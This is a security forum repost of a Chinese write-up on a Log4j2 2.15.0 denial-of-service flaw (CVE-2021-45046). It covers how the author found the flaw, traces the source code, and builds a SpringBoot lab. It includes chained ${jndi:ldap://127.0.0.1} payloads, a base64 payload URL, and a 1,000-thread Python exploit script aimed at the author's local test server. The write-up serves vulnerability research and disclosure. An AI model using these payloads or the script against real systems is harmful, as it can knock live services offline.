安全矩阵

 找回密码
 立即注册
搜索
查看: 2443|回复: 0

Apache Log4j2拒绝服务漏洞分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-16 21:34:02 | 显示全部楼层 |阅读模式
原文链接:Apache Log4j2拒绝服务漏洞分析

0x00 介绍在Log4j2爆出RCE漏洞后,官方给出了RC1和RC2的修复,在之前的文章中有详细分析
在RC2的修复之前,其实就存在DOS的可能,但我在RC2的修复后,发现仍然可以造成拒绝服务漏洞
于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题

得到了官方的认可和致谢

其实当时没有想过申请CVE等步骤,但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告,这个CVE正是拒绝服务相关,不过漏洞credit信息并不是我,而是国外某团队

具体链接参考:
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致阅读CVE-2021-45046相关的信息后,发现和我提交的DOS漏洞略有不同,但核心部分是一致的
在2.15.0版本利用的前提:该漏洞必须在开启lookup功能的情况下触发
一种常见的开启姿势是在log4j2.xml中:
  1. <appenders>
  2.    <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
  3.        <PatternLayout pattern="%msg{lookups}%n"/>
  4.    </console>
  5. </appenders>
复制代码


这篇文章就从三个方面来谈一谈这个拒绝服务漏洞
  •         我是如何发现这个拒绝服务漏洞的
  •         这个CVE描述的漏洞与我发现的有什么相同和不同之处
  •         这种拒绝服务漏洞的实际利用场景

0x01 挖掘过程回顾RC1和RC2的修复:如果存在JndiLookup那么会判断其中的的host是否合法
  1. if (!allowedHosts.contains(uri.getHost())) {
  2.    LOGGER.warn("Attempt to access ldap server not in allowed list");
  3.    return null;
  4. }
复制代码


而allowedHosts中一定包含有localhost和127.0.0.1
  1. // 拿到本地IP
  2. private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
  3. ...
  4. addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
  5. return new JndiManager(...,allowedHosts,...);
复制代码


这说明如果LDAP服务端在127.0.0.1可以成功lookup
然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server
我想到lookup本质是网络相关的操作,会有阻塞的可能。可以构造出Payload使程序lookup本地,而本地不可能开LDAP Server,于是发生超时等待,也许会有拒绝服务漏洞的可能
于是修改了RC2的源码,加入了统计时间代码,分析lookup的超时情况
(下文分析为什么阻塞的方法不是looup而是context.getAttributes)
  1. if (!allowedHosts.contains(uri.getHost())) {
  2.    LOGGER.warn("Attempt to access ldap server not in allowed list");
  3.    return null;
  4. }
  5. long startTime = System.currentTimeMillis();
  6. Attributes attributes = null;
  7. try {
  8.    // 阻塞方法
  9.    attributes = this.context.getAttributes(name);
  10. }catch (Exception ignored){
  11. }
  12. long endTime = System.currentTimeMillis();
  13. System.out.println(endTime-startTime);
复制代码


测试以上打印时间的代码会发现总是打印2000左右,说明超时时间为2秒
深入getAttributes可以看到这样的方法
  1. static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
  2.    LdapURL var2 = new LdapURL(var0);
  3.    // 跟入
  4.    LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
  5.    String var4 = var2.getDN() != null ? var2.getDN() : "";
  6.    CompositeName var5 = new CompositeName();
  7.    if (!"".equals(var4)) {
  8.        var5.add(var4);
  9.   }

  10.    return new ResolveResult(var3, var5);
  11. }
复制代码


在new LdapCtx方法中存在connect操作导致阻塞
(其实connect方法还有几步才会到达最底层的阻塞,不过没有必要继续分析了)
  1. public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
  2.   ...
  3.    try {
  4.        this.connect(false);
  5.   }
  6.   ...
  7. }
复制代码


回到之前的问题:为什么阻塞的不是lookup而是getAttributes方法
当前代码在连接超时后会抛出异常,走不到lookup方法

其实在lookup方法中应该也会造成阻塞,简单往里面跟一下会发现类似的代码
  1. // 从Attributes里获取属性
  2. // 那么应该调用了getAttributes之类的阻塞方法
  3. if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
  4.    var3 = Obj.decodeObject((Attributes)var4);
  5. }

  6. if (var3 == null) {
  7.    // 类似的代码
  8.    var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
  9. }
复制代码


现在发现了能让程序阻塞的办法,那么怎样构造Payload以达成更长时间的阻塞呢
Log4j2在处理${}是递归解析,也就是说会处理一个字符串中的所有${}并分别处理对应的值,每一次的处理都会造成2秒的等待,所以只需简单的拼接即可
  1. private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
  2.                       List<String> priorVariables) {
  3.   ...
  4.    substitute(event, bufName, 0, bufName.length());
  5.   ...
  6.    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
  7.   ...
  8.    int change = substitute(event, buf, startPos, varLen, priorVariables);
  9. }
复制代码


例如我拼接三个会阻塞更长的时间
(这里是针对本地80端口,实际上可以用大概率关闭的高位端口)
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}这时候会有师傅产生疑问:
在一个web请求中,这样的payload只能让我当前的请求阻塞住,如何实现真正的拒绝服务攻击,让目标网站无法正常处理别人的请求呢?我将在后文给大家展示
0x02 利用场景造一个SpringBoot项目,在resources下添加配置文件开启lookup功能
  1. <configuration status="OFF" monitorInterval="30">
  2.     <appenders>
  3.         <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
  4.             <PatternLayout pattern="%msg{lookups}%n"/>
  5.         </console>
  6.     </appenders>

  7.     <loggers>
  8.         <root level="error">
  9.             <appender-ref ref="CONSOLE-APPENDER"/>
  10.         </root>
  11.     </loggers>
  12. </configuration>
复制代码


为了制造场景所以要移除了SpringBoot自带的日志依赖,而选用Log4j2
另外引入starter-web以编写Controller模拟真实的接口供测试
  1. <dependency>
  2.     <groupId>org.springframework.boot</groupId>
  3.     <artifactId>spring-boot-starter</artifactId>
  4.     <exclusions>
  5.         <exclusion>
  6.             <groupId>org.springframework.boot</groupId>
  7.             <artifactId>spring-boot-starter-logging</artifactId>
  8.         </exclusion>
  9.     </exclusions>
  10. </dependency>
  11. <dependency>
  12.     <groupId>org.apache.logging.log4j</groupId>
  13.     <artifactId>log4j-core</artifactId>
  14.     <version>2.15.0</version>
  15. </dependency>
  16. <dependency>
  17.     <groupId>org.apache.logging.log4j</groupId>
  18.     <artifactId>log4j-api</artifactId>
  19.     <version>2.15.0</version>
  20. </dependency>
  21. <dependency>
  22.     <groupId>org.springframework.boot</groupId>
  23.     <artifactId>spring-boot-starter-web</artifactId>
  24. </dependency>
复制代码


模拟一个接口:接受message参数并Base64解码后打印日志
  1. @Controller
  2. public class TestController {
  3.     private static final Logger logger = LogManager.getLogger(TestController.class);

  4.     @RequestMapping("/test")
  5.     @ResponseBody
  6.     public String test(String message) {
  7.         try {
  8.             // Base64解码
  9.             String data = new String(Base64.getDecoder().decode(message));
  10.             logger.error("message:" + data);
  11.         } catch (Exception e) {
  12.             return e.getMessage();
  13.         }
  14.         return "";
  15.     }
  16. }
复制代码



使用Python编写EXP打自己的靶机
  1. import base64
  2. import threading

  3. import requests
  4. # 每一个Payload将会导致阻塞20秒
  5. payload = "${jndi:ldap://127.0.0.1}" * 10
  6. payload = base64.b64encode(bytes(payload, encoding="utf-8"))

  7. url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")


  8. def work():
  9.     requests.get(url)


  10. if __name__ == '__main__':
  11.     threadList = []
  12.     # 多线程请求
  13.     for i in range(1000):
  14.         t = threading.Thread(target=work)
  15.         threadList.append(t)
  16.         t.start()
  17.     for thread in threadList:
  18.         thread.join()
复制代码


启动SpringBoot项目后,可以用这个Python脚本成功造成拒绝服务漏洞
0x03 CVE分析接下来分析这个CVE,其实我不确定对于这个CVE的解读是否正确
在Log4j2.xml中支持一种配置从上下文中取值:例如这个例子可以取到loginId值
  1. <Appenders>
  2.     <Console name="STDOUT" target="SYSTEM_OUT">
  3.         <PatternLayout>
  4.             <pattern>%d %p %c{1.} [%t] ${ctx:loginId} %m%n</pattern>
  5.         </PatternLayout>
  6.     </Console>
  7. </Appenders>
复制代码


如果程序这样写
  1. public static void main(String[] args) throws Exception{
  2.     ThreadContext.put("loginId","1}");
  3.     logger.error("xxx");
  4. }
复制代码


将会打印
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx如果代码这样写将会导致类似的拒绝服务
  1. ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
  2. logger.error("xxx");
复制代码


在xml中有另一种效果相同的配置方式,但这种写法反而不会触发${}解析
  1. <Appenders>
  2.     <Console name="STDOUT" target="SYSTEM_OUT">
  3.         <PatternLayout>
  4.             <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
  5.         </PatternLayout>
  6.     </Console>
  7. </Appenders>
复制代码


在issue中也有人证实了这一点

关于拒绝服务的分析上文已有,重点看一下ContextMapLookup
  1. @Override
  2. public String lookup(final String key) {
  3.     return currentContextData().getValue(key);
  4. }

  5. @Override
  6. public String lookup(final LogEvent event, final String key) {
  7.     return event.getContextData().getValue(key);
  8. }
复制代码


这里的contextData正是一个简单的Map

在resolveVariable方法返回
  1. protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
  2.                                  final int startPos, final int endPos) {
  3.     final StrLookup resolver = getVariableResolver();
  4.     if (resolver == null) {
  5.         return null;
  6.     }
  7.     // 取出了${jndi:ldap://127.0.0.1}
  8.     return resolver.lookup(event, variableName);
  9. }
复制代码


取出的payload在下一次的递归中成功被lookup

不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢
定位到创建LogEvent的方法ReusableLogEventFactory.createEvent
  1. @Override
  2. public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
  3.                             final StackTraceElement location, final Level level, final Message message,
  4.                             final List<Property> properties, final Throwable t) {
  5.     if (result == null || result.reserved) {
  6.         final boolean initThreadLocal = result == null;
  7.         // 这个类中包含了空的context
  8.         result = new MutableLogEvent();
  9.         ...
  10.     }
  11.     ...
  12.     // 真正设置context属性
  13.     result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
  14.     result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
  15.     ...
  16.     return result;
  17. }
复制代码


跟入ThreadContextDataInjector.injectContextData方法
  1. @Override
  2. public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
  3.     if (providers.size() == 1 && (props == null || props.isEmpty())) {
  4.         // 跟入supplyStringMap
  5.         return providers.get(0).supplyStringMap();
  6.     }
  7.     ...
  8. }
复制代码


进入ThreadContextDataProvider.supplyStringMap方法
  1. @Override
  2. public StringMap supplyStringMap() {
  3.     return ThreadContext.getThreadContextMap().getReadOnlyContextData();
  4. }
复制代码


在getReadOnlyContextData中获得这个Map

再没有必要做进一步的分析了,这个拒绝服务漏洞原理已经清晰了
0x04 CVE利用场景CVE中提到的利用场景应该更为广泛
通常情况下,记录登录用户的身份等信息是常见的操作
如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串,将会导致该漏洞
  1. @RequestMapping("/test")
  2. @ResponseBody
  3. public String test(String userId) {
  4.     try {
  5.         String id = new String(Base64.getDecoder().decode(userId));
  6.         // 记录用户登录ID
  7.         ThreadContext.put("loginId", id);
  8.         // 记录该用户已登录
  9.         logger.info("user login");
  10.         // 其他业务逻辑
  11.         // ...
  12.     } catch (Exception e) {
  13.         return e.getMessage();
  14.     }
  15.     return "";
  16. }
复制代码


正常情况下:http://localhost:8080/test?userId=MQ==
将会记录
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login如果打Payload则报错并成功阻塞
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9改写下Python脚本即可成功拒绝服务
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")0x05 代码SpringBoot搭建的利用环境代码:https://github.com/EmYiQing/Log4j2DoS


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:22 , Processed in 0.014205 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表